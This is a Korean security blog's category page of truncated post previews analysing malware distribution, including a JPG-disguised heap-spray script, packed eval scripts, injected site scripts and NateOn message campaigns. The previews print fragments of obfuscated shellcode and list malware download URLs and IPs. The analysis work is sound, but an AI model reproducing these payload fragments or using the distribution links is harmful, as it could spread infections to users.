본문 바로가기

security/악성코드 유포

V3lite.jpg 로 위장한 악성코드 !!!!!! 오랜만에 풀려하니 안풀리네요.........ㅋ var nb194608="";nb194608+="%u585";nb194608+="8%u5858";nb194608+="%u10EB%";nb194608+="u4B5B%u";nb194608+="C933%uB";nb194608+="966%u03";nb194608+="B8%u348";nb194608+="0%uBD0B";nb194608+="%uFAE2%";nb194608+="u05EB%u";nb194608+="EBE8%uF";nb194608+="FFF%u54";nb194608+="FF%uBEA";nb194608+="3%uBDBD";nb194608+="%uD9E2%";nb194608+="u8D1C%u";nb194608+="BDBD%u3";nb194608+="6BD%uB1.. 더보기
Eval 로 된 스크립트 간단하게 풀기 !! 한 공유 사이트를 보던중 있길래 그냥 적어 봤습니다.... eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function (중략) (e)}}}}}};',62,95,'|||114|||101|||105|61|32|104|var||109|111|116|97|102 |48|60|108|if|navigator|100|UAver|function|62|110|103|99|115|49|indexOf |else||||appVersion|docu.. 더보기
오늘 본 Ad.asp 스크립트 중 발견한 제작자의 의도적 실수 ?? 스크립트는 다음과 같이 이루어져 있다.. var NgGGQSmAX="%x9090%x90";var CFGqNAMIX="90%x5858%x5858%x10EB%x4B5B%xC9" 이와같이 조합하는 형식으로 되어있다... 그리고 스크립트 밑부분에 가면 다음과 같이 조합해야 나온다고 써져 있다. var uavzoZkUK = NgGGQSmAX+CFGqNAMIX+VYsEvodWn+WsCqipvVq+ahIzciCgy+ZbwmiAEOg+ zqBGCuEDE+FwwSXiMop+XsvvwDgBP+BndYBlCki+TvWHkIIat+nPgYVTCOy+YYBaynGHm+ gCvdgGHkD+KwkIbOwZa+PNuvvHnXo+lVOUbMZEA+XsHMwMpAi+GiLFNlgSh+fIXQLfhCv+ WOWTldKTG+EgdiUIiH.. 더보기
DDos 국내 보안 전용 백신으로 치료 하세요 !! 디도스 공격을 유발하는 악성코드는 ntcm63.dll, SBUpdate.exe, ntds50.dll, watcsvc.dll, soetsvc.dll, mopxsvc.dll, SBUpdate.exe 등이다. 이들 악성코드가 설치된 PC는 이른바 좀비 PC로 변해 일제히 특정 웹사이트를 공격한다. 악성코드가 유포된 경로는 국내 P2P사이트인 셰어박스와 슈퍼다운인 것으로 밝혀졌다. Hauri 하우리 전용 백신 안녕하세요. (주)하우리 보안대응센터 입니다. 2009년 7.7 대란에 이어 지난 3.3 일을 기점으로 국내 포털 웹사이트를 비롯한 40 여개의 웹사이트가 DDoS 공격으로 인해 피해가 증가되고 있어 주의를 요합니다. 해당 악성코드는 이미 전일 버전 바이로봇 2011-03-03.04 이후에 모두 업데이트 .. 더보기
악성코드 유포되는 샘플을 보던중 !! imm32a.dll 한 악성코드 샘플을 보던중 특별한걸 봐서 이렇게 써본다.. 악성코드는 다음과 같은 링크와 포트를 통해서 유포가 된다 !! http://haxx.dd4747.com:9888/ss.js http://haxx.dd4747.com:9888/count.html http://haxx.dd4747.com:9888/music.asp http://haxx.dd4747.com:9888/toshipark.exe Count.html 은 유포 통계를 보기 위해 만들어 진것이고... Music,asp 는 toshipark.exe 받는 역활을 한다 .... 그중 toshipark.exe 에 해당하는 파일을 봤다..... 기존의 imm32.dll 을 V3 제품군을 쓸 경우 imm32A.dll 로 패치하는것이 보였다. 또한 해당 악성.. 더보기
폴리뉴스 악성코드 유포 스크립트 간단하게 살펴보기.. !! * 본사이트는 악성코드가 있는 사이트를 알려 드립니다.!! 유포지 : http://www.polinews.co.kr [연결 되는 곳] http://204.188.243.136:7x/page/page.js http://204.188.243.136:7x/page/vospt.html http://204.188.243.136:7x/page/vegoa.htm http://204.188.243.136:7x/page/vtfep.htm[차례] page.js 보기 page.js 해석된 코드 vegoa.htm , vtfep.htm 메인코드 보기 ! Page.js 보기 !! var figwZPKw1="\x65\x6c\x67\x68\x35\x39\x33\x6b\x37\x73\x6b\x65\x72\x67\x35\x67\x73\.. 더보기
Jpg 파일로 위장한 악성 Script !! js.jpg로 위장한 악성코드 스크립트가 있어서 올려봅니다. 언뜻 보기에는 일반 사진 같습니다. 하지만 속에는 그 무언가 다른 존재가 존재하고 있지요..... var NjKS1="\x67\x72\x65\x72\x35\x39\x36\x61\x52\x54\x36\x37\x68\x72\x67\x72\x67\x68\x72\x67\x37\x65\x36\x38\x68\x74\x66\x65\x6a\x67\x68\x66\x67\x72\x65\x72\x67\x68\x36\x33\x32\x65\x36\x35"; var NjKS1="\x67\x72\x65\x72\x35\x39\x36\x61\x52\x54\x36\x37\x68\x72\x67\x72\x67\x68\x72\x67\x37\x65\x36\x38\x68\x74\x66.. 더보기
현재 유포되고 있는 네이트온 악성코드 연결 링크 !! 첫 유포 사이트 : http://www.kxmc.co.kr/nxxo/view.php?id=news&no=132 스크립트를 통해 연결 된 사이트 : http://www.imchxxch.net/bbs/data/sub1_8/index.html [index.html] 내에 들어있는 링크 !! http://www.imchxxch.net/bbs/data/style.css ~> 불법사이트 연결 , 프록시 사용 필요 !! http://www.imchxxch.net/bbs/data/sub1_8/in.js ~> ff10.htm 연결 !! http://www.imchxxch.net/bbs/data/main.html ~> 메인 악성코드 최종 링크 관문 !! http://www.imchxxch.net/bbs/data/sub1_.. 더보기
계속 활동하고있는 네이트온 악성코드 !! 네이트온 악성코드는 기존의 바로 받는 방식이었지만 지금은 다양하게 유포되고 있습니다. 최근에 따라 이렇게 보여지고 있으므로 글로 남겨 봅니다. 어제 받은 네이트온 악성코드 쪽지 입니다. 링크를 클릭시 기존에는 바로 다운로드 링크로 넘어갔지만 지금은 그 사이트 안에 코드삽입을 해놓으므로 악성코드를 감염시키는 역활을 합니다 ! 위 사이트를 들어간다면 악성코드 스크립트가 그대로 다음과 같은 방식으로 삽입되어 있습니다. [원본 소스] http://www.npcn.or.kr/xxxx/data/pds03/ajax.js"> 역시 안에는 이런식으로 연결되는 곳들이 4개나 보이는군요 !! 이중 역시 중요한 main.html 로 들어가 볼까요?? 역시 지난번과 마찬가지로 아스키코드로 이루어진 함수로 되어있는 코드가 이와같.. 더보기
네이트온에서 새로운 형태로 유포되는 악성코드 !! 기존의 바로 악성코드 받는 방식이 아닌 스크립트 삽입을 통해서 연결되기에 이렇게 글을 써 봅니다. 네이트온 악성코드는 기존의 바로 받는 방식이었지만 지금은 다양하게 유포되고 있습니다. 최근에 따라 이렇게 보여지고 있으므로 글로 남겨 봅니다. 어제 받은 네이트온 악성코드 쪽지 입니다. 링크를 클릭시 기존에는 바로 다운로드 링크로 넘어갔지만 지금은 그 사이트 안에 코드삽입을 해놓으므로 악성코드를 감염시키는 역활을 합니다 ! 위에 링크에 따라 들어가면 취약한 한 초등학교 홈페이지로 넘어갑니다. 이와 같이 보이는곳에는 아무렇지 않은 현상이 나타납니다. 하지만 그안에 소스 자체를 본다면 이 사이트가 또 다른 사이트와 연결되는 스크립트가 있다는 것을 알 수 있습니다. 자세한 소스를 본다면 이렇게 나타나 있습니다. .. 더보기

티스토리툴바